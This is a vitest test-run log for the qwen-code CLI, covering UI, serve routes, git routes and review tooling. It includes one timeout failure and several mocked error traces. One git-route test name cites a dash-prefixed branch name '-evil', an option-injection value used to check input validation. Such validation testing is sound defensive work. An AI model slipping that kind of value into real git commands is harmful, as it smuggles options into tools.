✓ > should display a single model correctly 337ms
✓ > keeps a long single model name on the metric header line when space is available 301ms
✓ > keeps fixed model column widths for multiple models even when space is available 416ms
✓ > Subagent source attribution > renders distinct columns for main and subagent when same model has multiple sources 498ms
✓ > Subagent source attribution > Cost estimation > should not display Cost section when no pricing and no thoughts 1102ms
✓ > Subagent source attribution > Cost estimation > should display Cost section when pricing is configured 348ms
✓ > Subagent source attribution > Cost estimation > should display $0.0000 rather than N/A for a model priced at zero 371ms
✓ > Subagent source attribution > Cost estimation > should include thoughts tokens in cost calculation (regression) 345ms
✓ > Subagent source attribution > Cost estimation > should include thoughts tokens — larger numbers to expose difference 421ms
✓ > Subagent source attribution > Cost estimation > should use raw model name for pricing with subagent attribution 374ms
✓ > Subagent source attribution > Cost estimation > should handle multiple models with different pricing 376ms
✓ src/commands/review/script-lint.mock.test.ts (19 tests) 1334ms
✓ src/ui/hooks/useSessionSearchInput.test.ts (36 tests) 2323ms
✓ isDeletionKey > recognises DEL byte (0x7F) as a deletion key 763ms
✓ src/ui/commands/goalCommand.test.ts (63 tests) 1655ms
✓ src/ui/components/hooks/constants.test.ts (51 tests) 1219ms
✓ src/serve/auth.test.ts (29 tests) 566ms
✓ src/ui/utils/historyMapping.test.ts (26 tests) 652ms
qwen serve: bridge error (GET /workspaces/:workspace/github/prs): Error: boom
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/routes/workspace-github-prs.test.ts:300:51
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:155:11
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:26
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:1897:20
at new Promise ()
at runWithTimeout (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:1863:10)
at runTest (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:1574:12)
at processTicksAndRejections (node:internal/process/task_queues:104:5)
at runSuite (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:1729:8)
at runSuite (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:1729:8)
✓ src/serve/routes/workspace-github-prs.test.ts (19 tests) 4659ms
✓ workspace GitHub PR routes > lists pull requests for the selected trusted workspace 1395ms
✓ workspace GitHub PR routes > sanitizes the git root (not just the workspace cwd) on PR create failure 412ms
✓ workspace GitHub PR routes > falls back to the bridge error mapper on unexpected throws 670ms
✓ workspace GitHub PR routes > returns runtime-unavailable on default-branch when the generation is closed 352ms
✓ src/acp-integration/session/rewrite/MessageRewriteMiddleware.test.ts (15 tests) 807ms
❯ src/commands/channel/memory-intent-classifier.test.ts (36 tests | 1 failed) 48960ms
✓ BridgeChannelMemoryIntentClassifier > uses an isolated bridge session and parses classifier JSON 310ms
✓ BridgeChannelMemoryIntentClassifier > canonicalizes plural facts and asks the model to split independent durable facts 46ms
✓ BridgeChannelMemoryIntentClassifier > accepts exactly ten plural facts 22ms
✓ BridgeChannelMemoryIntentClassifier > canonicalizes a legacy scalar fact to a plural result 14ms
✓ BridgeChannelMemoryIntentClassifier > plans a targeted remove against the supplied entries 63ms
✓ BridgeChannelMemoryIntentClassifier > plans unfiltered and filtered lists 30ms
✓ BridgeChannelMemoryIntentClassifier > plans inspect and update for valid targets 29ms
✓ BridgeChannelMemoryIntentClassifier > accepts an empty list target plan 30ms
✓ BridgeChannelMemoryIntentClassifier > accepts an empty inspect target plan 19ms
✓ BridgeChannelMemoryIntentClassifier > accepts an empty update target plan 21ms
✓ BridgeChannelMemoryIntentClassifier > accepts an empty remove target plan 13ms
✓ BridgeChannelMemoryIntentClassifier > accepts every supported plan shape 33ms
✓ BridgeChannelMemoryIntentClassifier > normalizes unknown target to none 14ms
✓ BridgeChannelMemoryIntentClassifier > normalizes duplicate target to none 17ms
✓ BridgeChannelMemoryIntentClassifier > normalizes missing update memory to none 16ms
✓ BridgeChannelMemoryIntentClassifier > normalizes missing remember memory to none 11ms
✓ BridgeChannelMemoryIntentClassifier > normalizes unknown field to none 11ms
✓ BridgeChannelMemoryIntentClassifier > normalizes wrong target type to none 11ms
✓ BridgeChannelMemoryIntentClassifier > normalizes bad confidence to none 10ms
✓ BridgeChannelMemoryIntentClassifier > normalizes remember output with an empty array to none 11ms
✓ BridgeChannelMemoryIntentClassifier > normalizes remember output with eleven facts to none 10ms
✓ BridgeChannelMemoryIntentClassifier > normalizes remember output with a non-string member to none 10ms
✓ BridgeChannelMemoryIntentClassifier > normalizes remember output with a blank member to none 10ms
✓ BridgeChannelMemoryIntentClassifier > normalizes remember output with both scalar and plural fields to none 15ms
✓ BridgeChannelMemoryIntentClassifier > normalizes remember output with missing both fields to none 9ms
✓ BridgeChannelMemoryIntentClassifier > normalizes remember output with an extra field to none 10ms
✓ BridgeChannelMemoryIntentClassifier > normalizes invalid JSON to none 17ms
✓ BridgeChannelMemoryIntentClassifier > marks user and memory data as untrusted and sanitizes entry previews 21ms
× BridgeChannelMemoryIntentClassifier > keeps all IDs and a 500-entry long-metadata manifest within the code-point budget 46443ms
→ Test timed out in 30000ms.
If this is a long-running test, pass a timeout value as the last argument or configure it globally with "testTimeout".
✓ BridgeChannelMemoryIntentClassifier > keeps all IDs and lone-surrogate metadata within the serialized manifest budget 1436ms
✓ BridgeChannelMemoryIntentClassifier > logs cancelSession cleanup failures without dropping the result 49ms
✓ BridgeChannelMemoryIntentClassifier > extracts a JSON object from wrapped model output 14ms
✓ BridgeChannelMemoryIntentClassifier > uses the latest bridge from a lazy provider 23ms
✓ BridgeChannelMemoryIntentClassifier > rejects prose-wrapped JSON without exposing response content 25ms
✓ BridgeChannelMemoryIntentClassifier > normalizes invalid classifier fields to none 14ms
✓ BridgeChannelMemoryIntentClassifier > normalizes out-of-range confidence to none 12ms
✓ src/ui/voice/voice-keyterms.test.ts (28 tests) 1396ms
✓ buildVoiceKeyterms > custom keyterms file > auto-loads .qwen/voice-keyterms.txt and merges with the globals 328ms
✓ src/ui/components/shared/ScrollableList.test.tsx (14 tests) 15331ms
✓ mouse scrolling > routes wheel SGR events to viewport scroll (window shifts) 4171ms
✓ mouse scrolling > does not crash when hasFocus is false (mouse pipeline inactive) 605ms
✓ mouse scrolling > does not move the rendered window on content-area clicks 1437ms
✓ mouse scrolling > drags the scrollbar to scroll the viewport 1619ms
✓ mouse scrolling > drags the scrollbar to an intermediate viewport position 1123ms
✓ mouse scrolling > keeps dragging after the pointer leaves the scrollbar column 875ms
✓ mouse scrolling > a scrollbar press cancels a still-pending wheel flush 649ms
✓ mouse scrolling > does not start a scrollbar drag when content fits the viewport 314ms
✓ keyboard scroll > Shift+Up scrolls up by 1 line 747ms
✓ keyboard scroll > Shift+Down scrolls down by 1 line 628ms
✓ keyboard scroll > PageUp scrolls up by one page (containerHeight lines) 652ms
✓ keyboard scroll > PageDown scrolls down by one page 597ms
✓ keyboard scroll > Ctrl+Home scrolls to the very top 644ms
✓ keyboard scroll > Ctrl+End scrolls to the very bottom 1170ms
✓ src/acp-integration/session/Session.worktree.test.ts (8 tests) 1856ms
✓ Session.pendingWorktreeNotice > VP3: first prompt prepends pendingWorktreeNotice as a block 716ms
✓ src/serve/workspace-service/__tests__/integration.test.ts (14 tests) 6868ms
✓ workspace service REST integration > GET /workspace/mcp > returns 200 with the result from workspace.getWorkspaceMcpStatus 2859ms
✓ workspace service REST integration > GET /workspace/mcp > passes correct WorkspaceRequestContext to the service 575ms
✓ workspace service REST integration > GET /workspace/skills > passes correct WorkspaceRequestContext to the service 363ms
✓ workspace service REST integration > POST /workspace/init > returns 200 with the result from workspace.initWorkspace 555ms
✓ workspace service REST integration > POST /workspace/init > passes force:false opts when body is empty 300ms
✓ workspace service REST integration > POST /workspace/init > passes force:true when body has force=true 333ms
✓ src/commands/mcp/add.test.ts (27 tests) 4992ms
✓ mcp add command > should add a stdio server to user settings by default 1433ms
✓ mcp add command > when handling scope and directory > when in the home directory > should show an error when --scope=project is used explicitly 579ms
Fatal error: Failed to relaunch the CLI process.
PROCESS_EXIT_CALLED
Fatal error: Failed to relaunch the CLI process.
PROCESS_EXIT_CALLED
Fatal error: Failed to relaunch the CLI process.
PROCESS_EXIT_CALLED
Fatal error: Failed to relaunch the CLI process.
PROCESS_EXIT_CALLED
Fatal error: Failed to relaunch the CLI process.
Runner failed
Fatal error: Failed to relaunch the CLI process.
PROCESS_EXIT_CALLED
Fatal error: Failed to relaunch the CLI process.
PROCESS_EXIT_CALLED
Fatal error: Failed to relaunch the CLI process.
PROCESS_EXIT_CALLED
Fatal error: Failed to relaunch the CLI process.
PROCESS_EXIT_CALLED
Fatal error: Failed to relaunch the CLI process.
PROCESS_EXIT_CALLED
Fatal error: Failed to relaunch the CLI process.
PROCESS_EXIT_CALLED
Fatal error: Failed to relaunch the CLI process.
PROCESS_EXIT_CALLED
✓ src/utils/relaunch.test.ts (16 tests) 1212ms
✓ relaunchOnExitCode > should exit with non-RELAUNCH_EXIT_CODE 316ms
✓ src/ui/components/shared/MaxSizedBox.test.tsx (27 tests) 5671ms
✓ > renders children without truncation when they fit 1653ms
✓ > does not join clipped content to the bottom overflow banner 585ms
✓ > handles mixed wrapping and non-wrapping segments 362ms
✓ > keeps rows sequential when an ancestor clamps the column height (#6809) 645ms
✓ src/ui/commands/btwCommand.test.ts (23 tests) 1283ms
✓ src/ui/utils/pending-rendered-height.test.ts (37 tests) 686ms
✓ src/services/CommandService.test.ts (17 tests) 1248ms
✓ src/serve/workspace-trust-reconciler.test.ts (11 tests) 959ms
✓ src/agent-view/supervisor-runner.test.ts (9 tests) 2973ms
✓ Agent View supervisor runner > returns undefined when no existing supervisor is reachable 768ms
✓ Agent View supervisor runner > connects to an existing supervisor handle 447ms
✓ Agent View supervisor runner > routes handle status/list/dispatch/shutdown calls through IPC 590ms
✓ Agent View supervisor runner > closes the supervisor server when shutdown is requested 328ms
✓ src/commands/sessions/list.test.ts (25 tests) 1006ms
✓ src/serve/large-pipe-frame-observer.test.ts (16 tests) 862ms
✓ src/ui/utils/textUtils.test.ts (37 tests) 662ms
✓ src/utils/commands.test.ts (40 tests) 632ms
✓ src/ui/components/LoadingIndicator.test.tsx (28 tests) 4739ms
✓ > should not render when streamingState is Idle 897ms
✓ > should render spinner, phrase, and time when streamingState is Responding 758ms
✓ > should render spinner (static), phrase but no time/cancel when streamingState is WaitingForConfirmation 405ms
✓ > should display whole elapsed seconds below one minute 369ms
qwen serve: bridge error (POST /workspace/git/commit): Error: cannot stage all changes: failed to snapshot index (write-tree failed)
at sendGitError (/build/qwen-code/src/qwen-code/packages/cli/src/serve/routes/workspace-git-branches.ts:107:24)
at handleCommit (/build/qwen-code/src/qwen-code/packages/cli/src/serve/routes/workspace-git-branches.ts:310:5)
qwen serve: bridge error (POST /workspace/git/commit): Error: cannot stage all changes: failed to snapshot index (write-tree failed)
at sendGitError (/build/qwen-code/src/qwen-code/packages/cli/src/serve/routes/workspace-git-branches.ts:107:24)
at handleCommit (/build/qwen-code/src/qwen-code/packages/cli/src/serve/routes/workspace-git-branches.ts:310:5)
at processTicksAndRejections (node:internal/process/task_queues:104:5)
qwen serve: bridge error (POST /workspace/git/commit): Error: cannot stage all changes: failed to snapshot index (write-tree failed)
at sendGitError (/build/qwen-code/src/qwen-code/packages/cli/src/serve/routes/workspace-git-branches.ts:107:24)
at handleCommit (/build/qwen-code/src/qwen-code/packages/cli/src/serve/routes/workspace-git-branches.ts:310:5)
✓ src/serve/routes/workspace-git-branches.test.ts (22 tests) 10862ms
✓ workspace Git branch routes > rejects a dash-prefixed branch name -evil with 400 invalid_branch_name 1140ms
✓ workspace Git branch routes against a real repo (R10 #2) > rejects a commit --all when write-tree cannot snapshot the index 1695ms
✓ workspace Git branch routes against a real repo (R10 #2) > does not leak the git root when the workspace is a sub-directory 1107ms
✓ workspace Git branch routes against a real repo (R10 #2) > classifies a pull with no tracking information as no_upstream 1886ms
✓ workspace Git branch routes against a real repo (R10 #2) > does not misclassify a non-dirty error when the workspace path contains "dirty" 902ms
✓ workspace qualified Git branch routes (input validation) > rejects a cwd that escapes the workspace on mutation endpoints 1147ms
✓ workspace qualified Git branch routes (input validation) > lists branches from a real repo via the qualified route 1297ms
✓ src/ui/commands/tasksCommand.test.ts (10 tests) 782ms
✓ src/serve/routes/channel-webhooks.test.ts (25 tests) 3677ms
✓ channel webhook routes > accepts an authenticated webhook task 1072ms
✓ channel webhook routes > rejects non-object payload values: true 385ms
✓ src/config/migration/index.test.ts (30 tests) 783ms
✓ src/config/auth.test.ts (21 tests) 1091ms
✓ src/utils/systemInfo.test.ts (22 tests) 1151ms
Invalid values:
Argument: approval-mode, Given: "invalid_mode", Choices: "plan", "default", "auto-edit", "auto", "yolo"
Cannot use both --yolo (-y) and --approval-mode together. Use --approval-mode=yolo instead.
process.exit unexpectedly called with "1"
✓ src/config/config.integration.test.ts (26 tests) 4622ms
✓ Configuration Integration Tests > File Filtering Configuration > should load default file filtering settings 604ms
✓ Configuration Integration Tests > Approval Mode Integration Tests > should parse --approval-mode=auto-edit correctly through the full argument parsing flow 1666ms
✓ Configuration Integration Tests > Approval Mode Integration Tests > should reject invalid approval mode values during argument parsing 545ms
✓ Configuration Integration Tests > Approval Mode Integration Tests > should reject conflicting --yolo and --approval-mode flags 357ms
✓ src/utils/startupProfiler.test.ts (21 tests) 866ms
✓ src/utils/managed-npm-update.test.ts (13 tests) 12871ms
✓ managed npm update > stages an exact version for one launcher 337ms
✓ managed npm update > activates a verified install without changing running files 1642ms
✓ managed npm update > installs and activates inside the managed worker 1299ms
✓ managed npm update > rejects a failed smoke test 1251ms
✓ managed npm update > does not mask a global install that changes while staging 1124ms
✓ managed npm update > replaces a higher pointer from an older global install 2241ms
✓ managed npm update > keeps the highest concurrently activated version 1239ms
✓ managed npm update > reuses a valid payload activated concurrently for the same version 1281ms
✓ managed npm update > isolates payloads for different launchers 2240ms
✓ src/ui/commands/contextCommand.test.ts (12 tests) 1465ms
✓ collectContextData (contextCommand) > queries getFunctionDeclarations with no args, matching the actual API request 301ms
✓ /context shows three-tier thresholds > renders warn/auto/hard with the warn-tier marker when usage sits between warn and auto 352ms
✓ src/commands/extensions/install.test.ts (17 tests) 817ms
✓ extensions install command > should fail if no source is provided 374ms
✓ src/agent-view/terminal-bridge.test.ts (17 tests) 987ms
✓ src/acp-integration/session/emitters/MessageEmitter.test.ts (24 tests) 988ms
✓ src/ui/commands/arenaCommand.test.ts (16 tests) 1438ms
✓ arenaCommand localization > localizes descriptions and common errors in zh 727ms
✓ src/ui/commands/workflowsCommand.test.ts (15 tests) 1396ms
✓ src/ui/components/Composer.test.tsx (20 tests) 3114ms
✓ Composer > Footer Display > renders Footer by default 1414ms
✓ src/ui/components/Footer.test.tsx (25 tests) 6457ms
✓ > renders the component 1388ms
✓ > shows the "workflow active" indicator when the keyword trigger is armed 615ms
✓ > shows the active scheduled task count 697ms
✓ > refreshes the scheduled task count after mount 1386ms
✓ src/ui/voice/qwen-asr-realtime-session.test.ts (14 tests) 1340ms
✓ qwen-asr-realtime-session > streams PCM chunks as base64 events and resolves the completed transcript 304ms
✓ src/serve/routes/workspace-permissions.test.ts (11 tests) 4904ms
✓ workspace permissions routes > GET returns scoped and merged permission rules 1836ms
✓ workspace permissions routes > POST can update through a live ACP child when settings persistence is unavailable 428ms
✓ workspace permissions routes > POST rejects oversized rule lists before invoking ACP 736ms
✓ workspace permissions routes > POST replaces one scoped rule list through a live ACP child and publishes settings_changed 316ms
✓ workspace permissions routes > POST preserves already-stored malformed permission rules 334ms
✓ src/ui/components/messages/DiffRenderer.test.tsx (17 tests) 10255ms
✓ > should call colorizeCode with correct language for new file with known extension 2155ms
✓ > should call colorizeCode with null language for new file with unknown extension 2563ms
✓ > should call colorizeCode with null language for new file if no filename is provided 468ms
✓ > should handle diff with only header and no changes 458ms
✓ > should render a gap indicator for skipped lines 314ms
✓ > should not render a gap indicator for small gaps (<= MAX_CONTEXT_LINES_WITHOUT_GAP) 425ms
✓ > should correctly render a diff with multiple hunks and a gap indicator > with contentWidth 80 and height undefined 964ms
✓ > should correctly render a diff with multiple hunks and a gap indicator > with contentWidth 80 and height 6 450ms
✓ > should correctly render a diff with a SVN diff format 930ms
✓ > should correctly render a new file with no file extension correctly 304ms
[Channel] Permission relay failed for req-1: send failed
[Channel] Session session-1 died, updating routing state
✓ src/commands/channel/runtime.test.ts (18 tests) 937ms
✓ src/ui/ink-cursor-rendering.test.tsx (20 tests) 3818ms
✓ Ink cursor rendering (incrementalRendering: false) > reasserts the cursor after a sibling-only update 1494ms
[?25h ✓ src/config/claudeMcpImport.test.ts (14 tests) 1167ms
✓ claude MCP import > imports Claude Code user MCP servers from .claude.json 570ms
✓ src/ui/utils/statsDataService.test.ts (17 tests) 870ms
✓ src/serve/routes/workspace-git-diff.test.ts (16 tests) 2886ms
✓ workspace Git diff routes > returns the diff file list for the bound workspace 1091ms
✓ workspace Git diff routes > rejects an unknown workspace 381ms
✓ src/nonInteractive/control/controllers/systemController.test.ts (21 tests) 1123ms
✓ src/ui/hooks/useCompletion.test.ts (23 tests) 2686ms
✓ useCompletion > initial state > starts with dismissed = false 997ms
✓ src/ui/components/QwenOAuthProgress.test.tsx (18 tests) 5796ms
✓ QwenOAuthProgress > Loading state (no deviceAuth) > should render loading state when deviceAuth is not provided 2362ms
✓ QwenOAuthProgress > Authenticated state (with deviceAuth) > should format single digit seconds with leading zero 309ms
✓ QwenOAuthProgress > Timer functionality > should countdown and call onTimeout when timer expires 564ms
✓ QwenOAuthProgress > Animated dots > should cycle through animated dots 447ms
✓ src/ui/utils/todoSnapshot.test.ts (22 tests) 400ms
✓ src/ui/commands/aboutCommand.test.ts (12 tests) 1063ms
✓ src/dualOutput/DualOutputBridge.test.ts (21 tests) 2138ms
✓ DualOutputBridge > FIFO (named pipe) support > throws actionable error when FIFO lacks read permission 454ms
✓ src/ui/hooks/useQwenAuth.test.ts (17 tests) 2589ms
✓ useQwenAuth > should initialize with default state when not Qwen auth 964ms
✓ useQwenAuth > should set up event listeners when Qwen auth and authenticating 326ms
✓ src/ui/hooks/useLoadingIndicator.test.ts (11 tests) 2549ms
✓ useLoadingIndicator > should initialize with default values when Idle 922ms
✓ src/ui/components/messages/InlineParallelAgentsDisplay.test.tsx (12 tests) 5035ms
✓ > renders one row per agent with header tally 1979ms
✓ > reflects completed agent in the done tally with a check glyph 310ms
✓ > ignores non task_execution tool calls in the same group 495ms
✓ > height backstop (availableTerminalHeight) > without a budget, renders every agent (no cap) 730ms
✓ > height backstop (availableTerminalHeight) > at the exact-fit budget, renders every agent (backstop is a no-op) 373ms
✓ src/serve/routes/workspace-settings.test.ts (17 tests) 4496ms
✓ POST /workspace/settings > returns 503 without broadcasting when the runtime closes after persist 1736ms
✓ POST /workspace/settings > rejects negative general.cleanupPeriodDays values 306ms
✓ POST /workspace/settings > redacts MCP secrets in reads and restores them on writes 547ms
✓ POST /workspace/settings > rejects non-positive general.sessionRecapAwayThresholdMinutes values 394ms
✓ src/ui/components/InputPrompt.suggestionMouse.test.tsx (8 tests) 6751ms
✓ InputPrompt suggestion mouse routing > passes the default-source mouse handlers to SuggestionsDisplay 2968ms
✓ InputPrompt suggestion mouse routing > uses the startup VP decision for suggestion mouse when the raw setting is unset 335ms
✓ InputPrompt suggestion mouse routing > disables suggestion mouse when ui.mouseTracking is false despite VP being on 347ms
✓ InputPrompt suggestion mouse routing > hovering a suggestion updates the active index on the default source 497ms
✓ InputPrompt suggestion mouse routing > clicking a leaf command auto-submits it (submitOnAccept), matching Enter 1036ms
✓ InputPrompt suggestion mouse routing > clicking a non-leaf suggestion accepts without submitting 301ms
✓ InputPrompt suggestion mouse routing > routes hover/select to the command-search source while command search is active 818ms
✓ InputPrompt suggestion mouse routing > clicking an @folder suggestion dismisses the completion so the dropdown stays closed 327ms
✓ src/utils/apiPreconnect.test.ts (26 tests) 4336ms
✓ apiPreconnect > resolvedBaseUrl handling > should use resolvedBaseUrl when it is a default URL 3544ms
✓ src/ui/commands/update-command.test.ts (20 tests) 2133ms
✓ updateCommand > hands an interactive update off to the parent process 1255ms
✓ src/ui/auth/useAuth.test.ts (23 tests) 2371ms
✓ useAuthCommand > exposes closeAuthDialog that flips isAuthDialogOpen to false 899ms
✓ useAuthCommand > configures DeepSeek via the unified provider submit 440ms
✓ src/config/lsp-config-watcher.test.ts (13 tests) 1459ms
✓ LspConfigWatcher > notifies on create and suppresses formatting-only changes 336ms
✓ src/utils/doctorChecks.test.ts (18 tests) 1356ms
✓ runDoctorChecks > should return results for all categories 376ms
✓ src/serve/acp-http/client-mcp-ws.test.ts (5 tests) 2682ms
✓ client_mcp_over_ws reverse channel (serve layer) > round-trips register → tools/list → tools/call over the WS 1934ms
✓ src/utils/earlyInputCapture.test.ts (34 tests) 1020ms
✓ src/commands/review/save-artifact.test.ts (20 tests | 1 skipped) 1467ms
✓ saveReviewArtifact > copies canonical findings and the composed verdict into schema v1 674ms
✓ src/config/daemon-trust-policy.test.ts (15 tests) 2616ms
✓ daemon trust policy > uses system folder trust over user 460ms
✓ src/ui/utils/markdownUtilities.test.ts (35 tests) 554ms
✓ src/ui/themes/detect-terminal-theme.test.ts (29 tests) 1432ms
✓ detectTerminalTheme > parseOscRgb > should parse rgb:RRRR/GGGG/BBBB format 424ms
✓ src/serve/workspace-skills-status.test.ts (11 tests) 3437ms
✓ createWorkspaceSkillsStatusProvider > enumerates bundled skills (including /review) without an ACP child 1652ms
✓ createWorkspaceSkillsStatusProvider > marks skills disabled in workspace settings 348ms
✓ src/commands/review/lib/roster.test.ts (36 tests) 908ms
✓ src/utils/acpModelUtils.test.ts (31 tests) 1493ms
✓ acpModelUtils > uses opaque ids only to disambiguate colliding model routes 648ms
✓ src/config/settings-cache.test.ts (13 tests) 2774ms
✓ loadSettingsCached > serves the same instance while nothing changed 492ms
✓ loadSettingsCached > evicts the least recently used entry beyond the cache limit 921ms
✓ src/ui/hooks/useAttentionNotifications.test.ts (13 tests) 1820ms
✓ useAttentionNotifications > notifies when tool approval is required while unfocused 967ms
✓ src/commands/review/comment-status.handler.test.ts (10 tests) 1024ms
✓ src/ui/commands/restoreCommand.test.ts (16 tests) 1826ms
✓ restoreCommand > should return null if checkpointing is not enabled 362ms
✓ src/ui/hooks/atCommandProcessor.session.test.ts (10 tests) 1081ms
✓ handleAtCommand @session: > injects slimmed session text for a valid @session: 444ms
✓ src/utils/sessionPaths.test.ts (8 tests) 1698ms
✓ sessionPaths > collects current session paths and latest matching OpenAI log 792ms
✓ sessionPaths > limits OpenAI log JSON scans to recent files 421ms
✓ src/ui/selection/screen-buffer.test.tsx (20 tests) 3205ms
✓ ScreenBuffer (Ink frame-controller M0) > exposes the composited frame as addressable cells 1427ms
✓ src/ui/auth/ProviderSetupSteps.test.tsx (6 tests) 7720ms
✓ ProviderSetupSteps > maps Ctrl+P/N to advanced-config focus navigation 2576ms
✓ ProviderSetupSteps > renders predefined editable models with a primary free-form input and recommendations 1153ms
✓ ProviderSetupSteps > filters recommended models when typing search while recommendations are focused 2791ms
✓ ProviderSetupSteps > keeps recommended selections out of the free-form model input 437ms
✓ ProviderSetupSteps > deduplicates typed and recommended model IDs on submit 430ms
✓ src/services/BuiltinCommandLoader.test.ts (12 tests) 582ms
✓ src/utils/housekeeping/scheduler.test.ts (13 tests) 1516ms
✓ src/services/setup-github.test.ts (11 tests) 2566ms
✓ setupGithub service > downloads latest release workflows with configured proxy 1755ms
qwen serve: bridge error (GET /workspace/git/log): Error: boom
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/routes/workspace-git-log.test.ts:113:39
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:155:11
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:26
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:1897:20
at new Promise ()
at runWithTimeout (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:1863:10)
at runTest (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:1574:12)
at processTicksAndRejections (node:internal/process/task_queues:104:5)
at runSuite (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:1729:8)
at runSuite (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:1729:8)
qwen serve: bridge error (GET /workspace/git/log/commit): Error: boom
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/routes/workspace-git-log.test.ts:296:48
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:155:11
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:26
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:1897:20
at new Promise ()
at runWithTimeout (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:1863:10)
at runTest (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:1574:12)
at processTicksAndRejections (node:internal/process/task_queues:104:5)
at runSuite (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:1729:8)
at runSuite (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:1729:8)
✓ src/serve/routes/workspace-git-log.test.ts (16 tests) 3699ms
✓ workspace Git log routes > returns the commit list for the bound workspace 1270ms
✓ workspace Git log routes > returns a structured error when fetching the log throws 320ms
✓ workspace Git log routes > rejects an untrusted workspace on the qualified routes 471ms
✓ workspace Git log routes > uses the selected trusted workspace runtime for the qualified log route 337ms
✓ src/ui/commands/curator-command.test.ts (15 tests) 931ms
✓ curator command > shows status from the bare parent command 387ms
✓ src/commands/extensions/settings.test.ts (20 tests) 1781ms
✓ extensions settings command > should fail if no subcommand is provided 356ms
✓ src/agent-view/supervisor-process.test.ts (16 tests) 1521ms
✓ createAgentViewSupervisorHandler > reports session count and socket path in status 661ms
✓ src/serve/routes/workspace-channel-observed-contacts.test.ts (8 tests) 3031ms
✓ workspace observed channel contact routes > returns complete direct users and observed group/topic membership 1110ms
✓ workspace observed channel contact routes > does not fall back for unknown or untrusted workspace selectors 449ms
✓ workspace observed channel contact routes > returns a sanitized error for malformed registry data 577ms
✓ src/utils/cpuProfiler.test.ts (21 tests) 919ms
✓ src/ui/components/hooks/HooksManagementDialog.test.tsx (8 tests) 14474ms
✓ HooksManagementDialog > should render loading state initially 2312ms
✓ HooksManagementDialog > should allow Escape to close during loading state 352ms
✓ HooksManagementDialog > should register the keypress handler with isActive: true 419ms
✓ HooksManagementDialog > should render HOOKS_DISABLED step on first render when disableAllHooks is true 564ms
✓ HooksManagementDialog > should close dialog on Escape when disableAllHooks is true 491ms
✓ HooksManagementDialog > should navigate from a matcher hook to matcher detail 3588ms
✓ HooksManagementDialog > should navigate from matcher detail to config detail 2160ms
✓ HooksManagementDialog > should navigate directly from a non-matcher hook to config detail 4526ms
✓ src/commands/mcp/reconnect.test.ts (9 tests) 457ms
✓ src/ui/commands/learn-command.test.ts (17 tests) 1484ms
gh transient error (attempt 1/2), retrying in 3000ms…
gh transient error (attempt 2/2), retrying in 6000ms…
gh transient error (attempt 1/2), retrying in 3000ms…
gh transient error (attempt 2/2), retrying in 6000ms…
gh transient error (attempt 1/2), retrying in 3000ms…
✓ src/commands/review/lib/gh.test.ts (19 tests) 3758ms
✓ ghWithInputRetried() DOES retry (idempotent writes) > retries a transient HTTP 500 and succeeds on the second attempt 3029ms
✓ src/ui/components/RewindSelector.test.tsx (10 tests) 10679ms
✓ RewindSelector > navigates the pick list with Ctrl+P/N readline aliases 3049ms
✓ RewindSelector > navigates the pick list with arrow keys and cancels with Escape 775ms
✓ RewindSelector > renders restore options with diff stats for the selected turn 1760ms
✓ RewindSelector > returns from restore options to the pick list on Escape 1051ms
✓ RewindSelector > falls back to conversation-only options when diff stats fail 802ms
✓ RewindSelector > does not request diff stats when the selected turn has no prompt id 471ms
✓ RewindSelector > confirms a conversation-only rewind when checkpointing is disabled 611ms
✓ RewindSelector > returns to the pick list when legacy confirm receives n 607ms
✓ RewindSelector > returns to the pick list when legacy confirm receives Escape 543ms
✓ RewindSelector > blocks restore-option keypresses while rewind is pending 891ms
✓ src/serve/fs/audit.test.ts (13 tests) 510ms
✓ src/services/commandMetadata.test.ts (37 tests) 472ms
✓ src/ui/commands/extensionsCommand.test.ts (12 tests) 1338ms
✓ extensionsCommand > explore > should open the selected extensions gallery through the shared browser helper 601ms
✓ src/commands/extensions/consent.test.ts (21 tests) 670ms
✓ src/commands/review/base-tree.test.ts (15 tests) 20533ms
✓ runBaseTree > creates a sibling worktree holding the BASE commit, not the head 1659ms
✓ runBaseTree > places the base tree BESIDE the review worktree, never inside it 1393ms
✓ runBaseTree > builds in the base tree, and only there 1454ms
✓ runBaseTree > REUSES an already-built base tree instead of sweeping it (concurrent shards) 1819ms
✓ runBaseTree > returns BUSY instead of sweeping while another probe holds the build lock 1135ms
✓ runBaseTree > sweeps a STALE lock instead of reporting busy for the whole review 1399ms
✓ runBaseTree > a FAILED build is a settled answer — later shards do not re-pay it 1431ms
✓ runBaseTree > recovers from a stale base tree left by a crashed run 1377ms
✓ runBaseTree > is NOT available when the base tree does not build 1415ms
✓ runBaseTree > is NOT available when the build handed off without building anything 1405ms
✓ runBaseTree > is NOT available when npm scoped nothing to compile 1395ms
